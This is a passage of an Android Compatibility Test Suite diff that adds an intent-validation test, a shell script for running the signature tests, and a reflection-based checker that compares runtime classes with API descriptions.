+import static android.signature.cts.CurrentApi.CURRENT_API_FILE;
+import static android.signature.cts.CurrentApi.SYSTEM_CURRENT_API_FILE;
+import static android.signature.cts.CurrentApi.SYSTEM_REMOVED_API_FILE;
+
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.signature.cts.ApiDocumentParser;
+import android.signature.cts.JDiffClassDescription;
+import android.signature.cts.JDiffClassDescription.JDiffField;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+/**
+ * Validate that the android intents used by APKs on this device are part of the
+ * platform.
+ */
+@RunWith(AndroidJUnit4.class)
+public class IntentTest {
+    private static final String TAG = IntentTest.class.getSimpleName();
+
+    private static final File SIGNATURE_TEST_PACKGES =
+            new File("/data/local/tmp/signature-test-packages");
+    private static final String ANDROID_INTENT_PREFIX = "android.intent.action";
+    private static final String ACTION_LINE_PREFIX = "          Action: ";
+    private static final String MODULE_NAME = "CtsIntentSignatureTestCases";
+
+    private PackageManager mPackageManager;
+    private Set<String> intentWhitelist;
+
+    @Before
+    public void setupPackageManager() throws Exception {
+      mPackageManager = InstrumentationRegistry.getContext().getPackageManager();
+      intentWhitelist = getIntentWhitelist();
+    }
+
+    @Test
+    public void shouldNotFindUnexpectedIntents() throws Exception {
+        Set<String> platformIntents = lookupPlatformIntents();
+        platformIntents.addAll(intentWhitelist);
+
+        Set<String> allInvalidIntents = new HashSet<>();
+
+        Set<String> errors = new HashSet<>();
+        List<ApplicationInfo> packages =
+            mPackageManager.getInstalledApplications(PackageManager.GET_META_DATA);
+        for (ApplicationInfo appInfo : packages) {
+            if (!isSystemApp(appInfo) && !isUpdatedSystemApp(appInfo)) {
+                // Only examine system apps
+                continue;
+            }
+            Set<String> invalidIntents = new HashSet<>();
+            Set<String> activeIntents = lookupActiveIntents(appInfo.packageName);
+
+            for (String activeIntent : activeIntents) {
+              String intent = activeIntent.trim();
+              if (!platformIntents.contains(intent) &&
+                    intent.startsWith(ANDROID_INTENT_PREFIX)) {
+                  invalidIntents.add(activeIntent);
+                  allInvalidIntents.add(activeIntent);
+              }
+            }
+
+            String error = String.format("Package: %s Invalid Intent: %s",
+                  appInfo.packageName, invalidIntents);
+            if (!invalidIntents.isEmpty()) {
+                errors.add(error);
+            }
+        }
+
+        // Log the whitelist line to make it easy to update.
+        for (String intent : allInvalidIntents) {
+           Log.d(TAG, String.format("whitelist.add(\"%s\");", intent));
+        }
+
+        Assert.assertTrue(errors.toString(), errors.isEmpty());
+    }
+
+    private Set<String> lookupPlatformIntents() {
+        try {
+            Set<String> intents = new HashSet<>();
+            intents.addAll(parse(CURRENT_API_FILE));
+            intents.addAll(parse(SYSTEM_CURRENT_API_FILE));
+            intents.addAll(parse(SYSTEM_REMOVED_API_FILE));
+            return intents;
+        } catch (XmlPullParserException | IOException e) {
+            throw new RuntimeException("failed to parse", e);
+        }
+    }
+
+    private static Set<String> parse(String apiFileName)
+            throws XmlPullParserException, IOException {
+
+        Set<String> androidIntents = new HashSet<>();
+
+        ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG,
+                new ApiDocumentParser.Listener() {
+                    @Override
+                    public void completedClass(JDiffClassDescription classDescription) {
+                        for (JDiffField diffField : classDescription.getFieldList()) {
+                            String fieldValue = diffField.getValueString();
+                            if (fieldValue != null) {
+                                fieldValue = fieldValue.replace("\"", "");
+                                if (fieldValue.startsWith(ANDROID_INTENT_PREFIX)) {
+                                    androidIntents.add(fieldValue);
+                                }
+                            }
+                        }
+
+                    }
+                });
+
+        apiDocumentParser.parse(new FileInputStream(new File(apiFileName)));
+
+        return androidIntents;
+    }
+
+    private static boolean isSystemApp(ApplicationInfo applicationInfo) {
+        return (applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
+    }
+
+    private static boolean isUpdatedSystemApp(ApplicationInfo applicationInfo) {
+        return (applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0;
+    }
+
+    private static Set<String> lookupActiveIntents(String packageName) {
+        HashSet<String> activeIntents = new HashSet<>();
+        File dumpsysPackage = new File(SIGNATURE_TEST_PACKGES, packageName + ".txt");
+        if (!dumpsysPackage.exists() || dumpsysPackage.length() == 0) {
+          throw new RuntimeException("Missing package info: " + dumpsysPackage.getAbsolutePath());
+        }
+        try (
+            BufferedReader in = new BufferedReader(
+                  new InputStreamReader(new FileInputStream(dumpsysPackage)))) {
+            String line;
+            while ((line = in.readLine()) != null) {
+                if (line.startsWith(ACTION_LINE_PREFIX)) {
+                    String intent = line.substring(
+                          ACTION_LINE_PREFIX.length(), line.length() - 1);
+                    activeIntents.add(intent.replace("\"", ""));
+                }
+            }
+            return activeIntents;
+        } catch (Exception e) {
+          throw new RuntimeException("While retrieving dumpsys", e);
+        }
+    }
+
+    private static Set<String> getIntentWhitelist() throws Exception {
+        Set<String> whitelist = new HashSet<>();
+
+        DynamicConfigDeviceSide dcds = new DynamicConfigDeviceSide(MODULE_NAME);
+        List<String> intentWhitelist = dcds.getValues("intent_whitelist");
+
+        // Log the whitelist Intent
+        for (String intent : intentWhitelist) {
+           Log.d(TAG, String.format("whitelist add: %s", intent));
+           whitelist.add(intent);
+        }
+
+        return whitelist;
+    }
+}
diff --git a/tests/signature/runSignatureTests.sh b/tests/signature/runSignatureTests.sh
new file mode 100755
index 0000000..623973d
--- /dev/null
+++ b/tests/signature/runSignatureTests.sh
@@ -0,0 +1,36 @@
+#! /bin/bash
+#
+# Copyright 2017 The Android Open Source Project.
+#
+# Builds and runs signature APK tests.
+
+if [ -z "$ANDROID_BUILD_TOP" ]; then
+    echo "Missing environment variables. Did you run build/envsetup.sh and lunch?" >&2
+    exit 1
+fi
+
+if [ $# -eq 0 ]; then
+    PACKAGES="
+CtsCurrentApiSignatureTestCases
+CtsSystemCurrentApiSignatureTestCases
+CtsAndroidTestMockCurrentApiSignatureTestCases
+CtsAndroidTestRunnerCurrentApiSignatureTestCases
+CtsLegacyTest26ApiSignatureTestCases
+CtsApacheHttpLegacyCurrentApiSignatureTestCases
+"
+else
+    PACKAGES=${1+"$@"}
+fi
+
+cd $ANDROID_BUILD_TOP
+make -j32 $PACKAGES
+
+TMPFILE=$(mktemp)
+trap "echo Removing temporary directory; rm -f $TMPFILE" EXIT
+
+for p in $PACKAGES
+do
+    echo cts -a arm64-v8a -m "$p" >> $TMPFILE
+done
+
+cts-tradefed run cmdfileAndExit $TMPFILE
diff --git a/tests/signature/src/android/signature/cts/ApiComplianceChecker.java b/tests/signature/src/android/signature/cts/ApiComplianceChecker.java
new file mode 100644
index 0000000..8dbf5e7
--- /dev/null
+++ b/tests/signature/src/android/signature/cts/ApiComplianceChecker.java
@@ -0,0 +1,744 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+import java.util.Set;
+
+/**
+ * Checks that the runtime representation of a class matches the API representation of a class.
+ */
+public class ApiComplianceChecker {
+
+    /** Indicates that the class is an annotation. */
+    private static final int CLASS_MODIFIER_ANNOTATION = 0x00002000;
+
+    /** Indicates that the class is an enum. */
+    private static final int CLASS_MODIFIER_ENUM       = 0x00004000;
+
+    /** Indicates that the method is a bridge method. */
+    private static final int METHOD_MODIFIER_BRIDGE    = 0x00000040;
+
+    /** Indicates that the method is takes a variable number of arguments. */
+    private static final int METHOD_MODIFIER_VAR_ARGS  = 0x00000080;
+
+    /** Indicates that the method is a synthetic method. */
+    private static final int METHOD_MODIFIER_SYNTHETIC = 0x00001000;
+
+    private static final Set<String> HIDDEN_INTERFACE_WHITELIST = new HashSet<>();
+
+    static {
+        // Interfaces that define @hide or @SystemApi or @TestApi methods will by definition contain
+        // methods that do not appear in current.txt. Interfaces added to this
+        // list are probably not meant to be implemented in an application.
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract boolean android.companion.DeviceFilter.matches(D)");
+        HIDDEN_INTERFACE_WHITELIST.add("public static <D> boolean android.companion.DeviceFilter.matches(android.companion.DeviceFilter<D>,D)");
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract java.lang.String android.companion.DeviceFilter.getDeviceDisplayName(D)");
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract int android.companion.DeviceFilter.getMediumType()");
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract void android.nfc.tech.TagTechnology.reconnect() throws java.io.IOException");
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract void android.os.IBinder.shellCommand(java.io.FileDescriptor,java.io.FileDescriptor,java.io.FileDescriptor,java.lang.String[],android.os.ShellCallback,android.os.ResultReceiver) throws android.os.RemoteException");
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract int android.text.ParcelableSpan.getSpanTypeIdInternal()");
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract void android.text.ParcelableSpan.writeToParcelInternal(android.os.Parcel,int)");
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract void android.view.WindowManager.requestAppKeyboardShortcuts(android.view.WindowManager$KeyboardShortcutsReceiver,int)");
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract boolean javax.microedition.khronos.egl.EGL10.eglReleaseThread()");
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract void org.w3c.dom.ls.LSSerializer.setFilter(org.w3c.dom.ls.LSSerializerFilter)");
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract org.w3c.dom.ls.LSSerializerFilter org.w3c.dom.ls.LSSerializer.getFilter()");
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract android.graphics.Region android.view.WindowManager.getCurrentImeTouchRegion()");
+    }
+
+
+    private final ResultObserver resultObserver;
+
+    public ApiComplianceChecker(ResultObserver resultObserver) {
+        this.resultObserver = resultObserver;
+    }
+
+    private static void loge(String message, Exception exception) {
+        System.err.println(String.format("%s: %s", message, exception));
+    }
+
+    private void logMismatchInterfaceSignature(JDiffClassDescription.JDiffType mClassType,
+            String classFullName, String errorMessage) {
+        if (JDiffClassDescription.JDiffType.INTERFACE.equals(mClassType)) {
+            resultObserver.notifyFailure(FailureType.MISMATCH_INTERFACE,
+                    classFullName,
+                    errorMessage);
+        } else {
+            resultObserver.notifyFailure(FailureType.MISMATCH_CLASS,
+                    classFullName,
+                    errorMessage);
+        }
+    }
+
+    /**
+     * Checks test class's name, modifier, fields, constructors, and
+     * methods.
+     */
+    public void checkSignatureCompliance(JDiffClassDescription classDescription) {
+        Class<?> runtimeClass = checkClassCompliance(classDescription);
+        if (runtimeClass != null) {
+            checkFieldsCompliance(classDescription, runtimeClass);
+            checkConstructorCompliance(classDescription, runtimeClass);
+            checkMethodCompliance(classDescription, runtimeClass);
+        }
+    }
+
+    /**
+     * Checks that the class found through reflection matches the
+     * specification from the API xml file.
+     *
+     * @param classDescription a description of a class in an API.
+     */
+    @SuppressWarnings("unchecked")
+    private Class<?> checkClassCompliance(JDiffClassDescription classDescription) {
+        try {
+            Class<?> runtimeClass = findRequiredClass(classDescription);
+
+            if (runtimeClass == null) {
+                // No class found, notify the observer according to the class type
+                if (JDiffClassDescription.JDiffType.INTERFACE.equals(
+                        classDescription.getClassType())) {
+                    resultObserver.notifyFailure(FailureType.MISSING_INTERFACE,
+                            classDescription.getAbsoluteClassName(),
+                            "Classloader is unable to find " + classDescription
+                                    .getAbsoluteClassName());
+                } else {
+                    resultObserver.notifyFailure(FailureType.MISSING_CLASS,
+                            classDescription.getAbsoluteClassName(),
+                            "Classloader is unable to find " + classDescription
+                                    .getAbsoluteClassName());
+                }
+
+                return null;
+            }
+
+            List<String> methods = checkInterfaceMethodCompliance(classDescription, runtimeClass);
+            if (JDiffClassDescription.JDiffType.INTERFACE.equals(classDescription.getClassType()) && methods.size() > 0) {
+                resultObserver.notifyFailure(FailureType.MISMATCH_INTERFACE_METHOD,
+                        classDescription.getAbsoluteClassName(), "Interfaces cannot be modified: "
+                                + classDescription.getAbsoluteClassName() + ": " + methods);
+                return null;
+            }
+
+            if (!checkClassModifiersCompliance(classDescription, runtimeClass)) {
+                logMismatchInterfaceSignature(classDescription.getClassType(),
+                        classDescription.getAbsoluteClassName(),
+                                "Non-compatible class found when looking for " +
+                                        classDescription.toSignatureString());
+                return null;
+            }
+
+            if (!checkClassAnnotationCompliance(classDescription, runtimeClass)) {
+                logMismatchInterfaceSignature(classDescription.getClassType(),
+                        classDescription.getAbsoluteClassName(),
+                                "Annotation mismatch");
+                return null;
+            }
+
+            if (!runtimeClass.isAnnotation()) {
+                // check father class
+                if (!checkClassExtendsCompliance(classDescription, runtimeClass)) {
+                    logMismatchInterfaceSignature(classDescription.getClassType(),
+                            classDescription.getAbsoluteClassName(),
+                                    "Extends mismatch");
+                    return null;
+                }
+
+                // check implements interface
+                if (!checkClassImplementsCompliance(classDescription, runtimeClass)) {
+                    logMismatchInterfaceSignature(classDescription.getClassType(),
+                            classDescription.getAbsoluteClassName(),
+                                    "Implements mismatch");
+                    return null;
+                }
+            }
+            return runtimeClass;
+        } catch (Exception e) {
+            loge("Got exception when checking field compliance", e);
+            resultObserver.notifyFailure(
+                    FailureType.CAUGHT_EXCEPTION,
+                    classDescription.getAbsoluteClassName(),
+                    "Exception!");
+            return null;
+        }
+    }
+
+    private Class<?> findRequiredClass(JDiffClassDescription classDescription) {
+        try {
+            return ReflectionHelper.findMatchingClass(classDescription);
+        } catch (ClassNotFoundException e) {
+            loge("ClassNotFoundException for " + classDescription.getAbsoluteClassName(), e);
+            return null;
+        }
+    }
+
+    /**
+     * Validate that an interfaces method count is as expected.
+     *
+     * @param classDescription the class's API description.
+     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+     */
+    private static List<String> checkInterfaceMethodCompliance(
+            JDiffClassDescription classDescription, Class<?> runtimeClass) {
+        List<String> unexpectedMethods = new ArrayList<>();
+        for (Method method : runtimeClass.getDeclaredMethods()) {
+            if (method.isDefault()) {
+                continue;
+            }
+            if (method.isSynthetic()) {
+                continue;
+            }
+            if (method.isBridge()) {
+                continue;
+            }
+            if (HIDDEN_INTERFACE_WHITELIST.contains(method.toGenericString())) {
+                continue;
+            }
+
+            boolean foundMatch = false;
+            for (JDiffClassDescription.JDiffMethod jdiffMethod : classDescription.getMethods()) {
+                if (ReflectionHelper.matches(jdiffMethod, method)) {
+                    foundMatch = true;
+                }
+            }
+            if (!foundMatch) {
+                unexpectedMethods.add(method.toGenericString());
+            }
+        }
+
+        return unexpectedMethods;
+
+    }
+
+    /**
+     * Checks if the class under test has compliant modifiers compared to the API.
+     *
+     * @param classDescription a description of a class in an API.
+     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+     * @return true if modifiers are compliant.
+     */
+    private static boolean checkClassModifiersCompliance(JDiffClassDescription classDescription,
+            Class<?> runtimeClass) {
+        int reflectionModifier = runtimeClass.getModifiers();
+        int apiModifier = classDescription.getModifier();
+
+        // If the api class isn't abstract
+        if (((apiModifier & Modifier.ABSTRACT) == 0) &&
+                // but the reflected class is
+                ((reflectionModifier & Modifier.ABSTRACT) != 0) &&
+                // and it isn't an enum
+                !classDescription.isEnumType()) {
+            // that is a problem
+            return false;
+        }
+        // ABSTRACT check passed, so mask off ABSTRACT
+        reflectionModifier &= ~Modifier.ABSTRACT;
+        apiModifier &= ~Modifier.ABSTRACT;
+
+        if (classDescription.isAnnotation()) {
+            reflectionModifier &= ~CLASS_MODIFIER_ANNOTATION;
+        }
+        if (runtimeClass.isInterface()) {
+            reflectionModifier &= ~(Modifier.INTERFACE);
+        }
+        if (classDescription.isEnumType() && runtimeClass.isEnum()) {
+            reflectionModifier &= ~CLASS_MODIFIER_ENUM;
+        }
+
+        return ((reflectionModifier == apiModifier) &&
+                (classDescription.isEnumType() == runtimeClass.isEnum()));
+    }
+
+    /**
+     * Checks if the class under test is compliant with regards to
+     * annnotations when compared to the API.
+     *
+     * @param classDescription a description of a class in an API.
+     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+     * @return true if the class is compliant
+     */
+    private static boolean checkClassAnnotationCompliance(JDiffClassDescription classDescription,
+            Class<?> runtimeClass) {
+        if (runtimeClass.isAnnotation()) {
+            // check annotation
+            for (String inter : classDescription.getImplInterfaces()) {
+                if ("java.lang.annotation.Annotation".equals(inter)) {
+                    return true;
+                }
+            }
+            return false;
+        }
+        return true;
+    }
+
+    /**
+     * Checks if the class under test extends the proper classes
+     * according to the API.
+     *
+     * @param classDescription a description of a class in an API.
+     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+     * @return true if the class is compliant.
+     */
+    private static boolean checkClassExtendsCompliance(JDiffClassDescription classDescription,
+            Class<?> runtimeClass) {
+        // Nothing to check if it doesn't extend anything.
+        if (classDescription.getExtendedClass() != null) {
+            Class<?> superClass = runtimeClass.getSuperclass();
+
+            while (superClass != null) {
+                if (superClass.getCanonicalName().equals(classDescription.getExtendedClass())) {
+                    return true;
+                }
+                superClass = superClass.getSuperclass();
+            }
+            // Couldn't find a matching superclass.
+            return false;
+        }
+        return true;
+    }
+
+    /**
+     * Checks if the class under test implements the proper interfaces
+     * according to the API.
+     *
+     * @param classDescription a description of a class in an API.
+     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+     * @return true if the class is compliant
+     */
+    private static boolean checkClassImplementsCompliance(JDiffClassDescription classDescription,
+            Class<?> runtimeClass) {
+        Class<?>[] interfaces = runtimeClass.getInterfaces();
+        Set<String> interFaceSet = new HashSet<>();
+
+        for (Class<?> c : interfaces) {
+            interFaceSet.add(c.getCanonicalName());
+        }
+
+        for (String inter : classDescription.getImplInterfaces()) {
+            if (!interFaceSet.contains(inter)) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+
+    /**
+     * Checks all fields in test class for compliance with the API xml.
+     *
+     * @param classDescription a description of a class in an API.
+     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+     */
+    @SuppressWarnings("unchecked")
+    private void checkFieldsCompliance(JDiffClassDescription classDescription,
+            Class<?> runtimeClass) {
+        // A map of field name to field of the fields contained in runtimeClass.
+        Map<String, Field> classFieldMap = buildFieldMap(runtimeClass);
+        for (JDiffClassDescription.JDiffField field : classDescription.getFields()) {
+            try {
+                Field f = classFieldMap.get(field.mName);
+                if (f == null) {
+                    resultObserver.notifyFailure(FailureType.MISSING_FIELD,
+                            field.toReadableString(classDescription.getAbsoluteClassName()),
+                            "No field with correct signature found:" +
+                                    field.toSignatureString());
+                } else if (f.getModifiers() != field.mModifier) {
+                    resultObserver.notifyFailure(FailureType.MISMATCH_FIELD,
+                            field.toReadableString(classDescription.getAbsoluteClassName()),
+                            "Non-compatible field modifiers found when looking for " +
+                                    field.toSignatureString());
+                } else if (!checkFieldValueCompliance(field, f)) {
+                    resultObserver.notifyFailure(FailureType.MISMATCH_FIELD,
+                            field.toReadableString(classDescription.getAbsoluteClassName()),
+                            "Incorrect field value found when looking for " +
+                                    field.toSignatureString());
+                } else if (!f.getType().getCanonicalName().equals(field.mFieldType)) {
+                    // type name does not match, but this might be a generic
+                    String genericTypeName = null;
+                    Type type = f.getGenericType();
+                    if (type != null) {
+                        genericTypeName = type instanceof Class ? ((Class) type).getName() :
+                                type.toString().replace('$', '.');
+                    }
+                    if (genericTypeName == null || !genericTypeName.equals(field.mFieldType)) {
+                        resultObserver.notifyFailure(
+                                FailureType.MISMATCH_FIELD,
+                                field.toReadableString(classDescription.getAbsoluteClassName()),
+                                "Non-compatible field type found when looking for " +
+                                        field.toSignatureString());
+                    }
+                }
+
+            } catch (Exception e) {
+                loge("Got exception when checking field compliance", e);
+                resultObserver.notifyFailure(
+                        FailureType.CAUGHT_EXCEPTION,
+                        field.toReadableString(classDescription.getAbsoluteClassName()),
+                        "Exception!");
+            }
+        }
+    }
+
+    /**
+     * Checks whether the field values are compatible.
+     *
+     * @param apiField The field as defined by the platform API.
+     * @param deviceField The field as defined by the device under test.
+     */
+    private static boolean checkFieldValueCompliance(JDiffClassDescription.JDiffField apiField, Field deviceField)
+            throws IllegalAccessException {
+        if ((apiField.mModifier & Modifier.FINAL) == 0 ||
+                (apiField.mModifier & Modifier.STATIC) == 0) {
+            // Only final static fields can have fixed values.
+            return true;
+        }
+        if (apiField.getValueString() == null) {
+            // If we don't define a constant value for it, then it can be anything.
+            return true;
+        }
+        // Some fields may be protected or package-private
+        deviceField.setAccessible(true);
+        switch (apiField.mFieldType) {
+            case "byte":
+                return Objects.equals(apiField.getValueString(),
+                        Byte.toString(deviceField.getByte(null)));
+            case "char":
+                return Objects.equals(apiField.getValueString(),
+                        Integer.toString(deviceField.getChar(null)));
+            case "short":
+                return Objects.equals(apiField.getValueString(),
+                        Short.toString(deviceField.getShort(null)));
+            case "int":
+                return Objects.equals(apiField.getValueString(),
+                        Integer.toString(deviceField.getInt(null)));
+            case "long":
+                return Objects.equals(apiField.getValueString(),
+                        Long.toString(deviceField.getLong(null)) + "L");
+            case "float":
+                return Objects.equals(apiField.getValueString(),
+                        canonicalizeFloatingPoint(
+                                Float.toString(deviceField.getFloat(null)), "f"));
+            case "double":
+                return Objects.equals(apiField.getValueString(),
+                        canonicalizeFloatingPoint(
+                                Double.toString(deviceField.getDouble(null)), ""));
+            case "boolean":
+                return Objects.equals(apiField.getValueString(),
+                        Boolean.toString(deviceField.getBoolean(null)));
+            case "java.lang.String":
+                String value = apiField.getValueString();
+                // Remove the quotes the value string is wrapped in
+                value = unescapeFieldStringValue(value.substring(1, value.length() - 1));
+                return Objects.equals(value, deviceField.get(null));
+            default:
+                return true;
+        }
+    }
+
+    /**
+     * Canonicalize the string representation of floating point numbers.
+     *
+     * This needs to be kept in sync with the doclava canonicalization.
+     */
+    private static String canonicalizeFloatingPoint(String val, String suffix) {
+        switch (val) {
+            case "Infinity":
+                return "(1.0" + suffix + "/0.0" + suffix + ")";
+            case "-Infinity":
+                return "(-1.0" + suffix + "/0.0" + suffix + ")";
+            case "NaN":
+                return "(0.0" + suffix + "/0.0" + suffix + ")";
+        }
+
+        if (val.indexOf('E') != -1) {
+            return val + suffix;
+        }
+
+        // 1.0 is the only case where a trailing "0" is allowed.
+        // 1.00 is canonicalized as 1.0.
+        int i = val.length() - 1;
+        int d = val.indexOf('.');
+        while (i >= d + 2 && val.charAt(i) == '0') {
+            val = val.substring(0, i--);
+        }
+        return val + suffix;
+    }
+
+    // This unescapes the string format used by doclava and so needs to be kept in sync with any
+    // changes made to that format.
+    private static String unescapeFieldStringValue(String str) {
+        final int N = str.length();
+
+        // If there's no special encoding strings in the string then just return it.
+        if (str.indexOf('\\') == -1) {
+            return str;
+        }
+
+        final StringBuilder buf = new StringBuilder(str.length());
+        char escaped = 0;
+        final int START = 0;
+        final int CHAR1 = 1;
+        final int CHAR2 = 2;
+        final int CHAR3 = 3;
+        final int CHAR4 = 4;
+        final int ESCAPE = 5;
+        int state = START;
+
+        for (int i = 0; i < N; i++) {
+            final char c = str.charAt(i);
+            switch (state) {
+                case START:
+                    if (c == '\\') {
+                        state = ESCAPE;
+                    } else {
+                        buf.append(c);
+                    }
+                    break;
+                case ESCAPE:
+                    switch (c) {
+                        case '\\':
+                            buf.append('\\');
+                            state = START;
+                            break;
+                        case 't':
+                            buf.append('\t');
+                            state = START;
+                            break;
+                        case 'b':
+                            buf.append('\b');
+                            state = START;
+                            break;
+                        case 'r':
+                            buf.append('\r');
+                            state = START;
+                            break;
+                        case 'n':
+                            buf.append('\n');
+                            state = START;
+                            break;
+                        case 'f':
+                            buf.append('\f');
+                            state = START;
+                            break;
+                        case '\'':
+                            buf.append('\'');
+                            state = START;
+                            break;
+                        case '\"':
+                            buf.append('\"');
+                            state = START;
+                            break;
+                        case 'u':
+                            state = CHAR1;
+                            escaped = 0;
+                            break;
+                    }
+                    break;
+                case CHAR1:
+                case CHAR2:
+                case CHAR3:
+                case CHAR4:
+                    escaped <<= 4;
+                    if (c >= '0' && c <= '9') {
+                        escaped |= c - '0';
+                    } else if (c >= 'a' && c <= 'f') {
+                        escaped |= 10 + (c - 'a');
+                    } else if (c >= 'A' && c <= 'F') {
+                        escaped |= 10 + (c - 'A');
+                    } else {
+                        throw new RuntimeException(
+                                "bad escape sequence: '" + c + "' at pos " + i + " in: \""
+                                        + str + "\"");
+                    }
+                    if (state == CHAR4) {
+                        buf.append(escaped);
+                        state = START;
+                    } else {
+                        state++;
+                    }
+                    break;
+            }
+        }
+        if (state != START) {
+            throw new RuntimeException("unfinished escape sequence: " + str);
+        }
+        return buf.toString();
+    }
+
+    /**
+     * Scan a class (an its entire inheritance chain) for fields.
+     *
+     * @return a {@link Map} of fieldName to {@link Field}
+     */
+    private static Map<String, Field> buildFieldMap(Class testClass) {
+        Map<String, Field> fieldMap = new HashMap<>();
+        // Scan the superclass
+        if (testClass.getSuperclass() != null) {
+            fieldMap.putAll(buildFieldMap(testClass.getSuperclass()));
+        }
+
+        // Scan the interfaces
+        for (Class interfaceClass : testClass.getInterfaces()) {
+            fieldMap.putAll(buildFieldMap(interfaceClass));
+        }
+
+        // Check the fields in the test class
+        for (Field field : testClass.getDeclaredFields()) {
+            fieldMap.put(field.getName(), field);
+        }
+
+        return fieldMap;
+    }
+
+    /**
+     * Checks whether the constructor parsed from API xml file and
+     * Java reflection are compliant.
+     *
+     * @param classDescription a description of a class in an API.
+     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+     */
+    @SuppressWarnings("unchecked")
+    private void checkConstructorCompliance(JDiffClassDescription classDescription,
+            Class<?> runtimeClass) {
+        for (JDiffClassDescription.JDiffConstructor con : classDescription.getConstructors()) {
+            try {
+                Constructor<?> c = ReflectionHelper.findMatchingConstructor(runtimeClass, con);
+                if (c == null) {
+                    resultObserver.notifyFailure(FailureType.MISSING_METHOD,
+                            con.toReadableString(classDescription.getAbsoluteClassName()),
+                            "No method with correct signature found:" +
+                                    con.toSignatureString());
+                } else {
+                    if (c.isVarArgs()) {// some method's parameter are variable args
+                        con.mModifier |= METHOD_MODIFIER_VAR_ARGS;
+                    }
+                    if (c.getModifiers() != con.mModifier) {
+                        resultObserver.notifyFailure(
+                                FailureType.MISMATCH_METHOD,
+                                con.toReadableString(classDescription.getAbsoluteClassName()),
+                                "Non-compatible method found when looking for " +
+                                        con.toSignatureString());
+                    }
+                }
+            } catch (Exception e) {
+                loge("Got exception when checking constructor compliance", e);
+                resultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION,
+                        con.toReadableString(classDescription.getAbsoluteClassName()),
+                        "Exception!");
+            }
+        }
+    }
+
+    /**
+     * Checks that the method found through reflection matches the
+     * specification from the API xml file.
+     *
+     * @param classDescription a description of a class in an API.
+     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+     */
+    private void checkMethodCompliance(JDiffClassDescription classDescription,
+            Class<?> runtimeClass) {
+        for (JDiffClassDescription.JDiffMethod method : classDescription.getMethods()) {
+            try {
+
+                Method m = ReflectionHelper.findMatchingMethod(runtimeClass, method);
+                if (m == null) {
+                    resultObserver.notifyFailure(FailureType.MISSING_METHOD,
+                            method.toReadableString(classDescription.getAbsoluteClassName()),
+                            "No method with correct signature found:" +
+                                    method.toSignatureString());
+                } else {
+                    if (m.isVarArgs()) {
+                        method.mModifier |= METHOD_MODIFIER_VAR_ARGS;
+                    }
+                    if (m.isBridge()) {
+                        method.mModifier |= METHOD_MODIFIER_BRIDGE;
+                    }
+                    if (m.isSynthetic()) {
+                        method.mModifier |= METHOD_MODIFIER_SYNTHETIC;
+                    }
+
+                    // FIXME: A workaround to fix the final mismatch on enumeration
+                    if (runtimeClass.isEnum() && method.mName.equals("values")) {
+                        return;
+                    }
+
+                    if (!areMethodsModifiedCompatible(classDescription, method, m)) {
+                        resultObserver.notifyFailure(FailureType.MISMATCH_METHOD,
+                                method.toReadableString(classDescription.getAbsoluteClassName()),
+                                "Non-compatible method found when looking for " +
+                                        method.toSignatureString());
+                    }
+                }
+            } catch (Exception e) {
+                loge("Got exception when checking method compliance", e);
+                resultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION,
+                        method.toReadableString(classDescription.getAbsoluteClassName()),
+                        "Exception!");
+            }
+        }
+    }
+
+    /**
+     * Checks to ensure that the modifiers value for two methods are compatible.
+     *
+     * Allowable differences are:
+     *   - synchronized is allowed to be removed from an apiMethod
+     *     that has it
+     *   - the native modified is ignored
+     *
+     * @param classDescription a description of a class in an API.
+     * @param apiMethod the method read from the api file.
+     * @param reflectedMethod the method found via reflection.
+     */
+    private static boolean areMethodsModifiedCompatible(
+            JDiffClassDescription classDescription,
+            JDiffClassDescription.JDiffMethod apiMethod,
+            Method reflectedMethod) {
+
+        // If the apiMethod isn't synchronized
+        if (((apiMethod.mModifier & Modifier.SYNCHRONIZED) == 0) &&
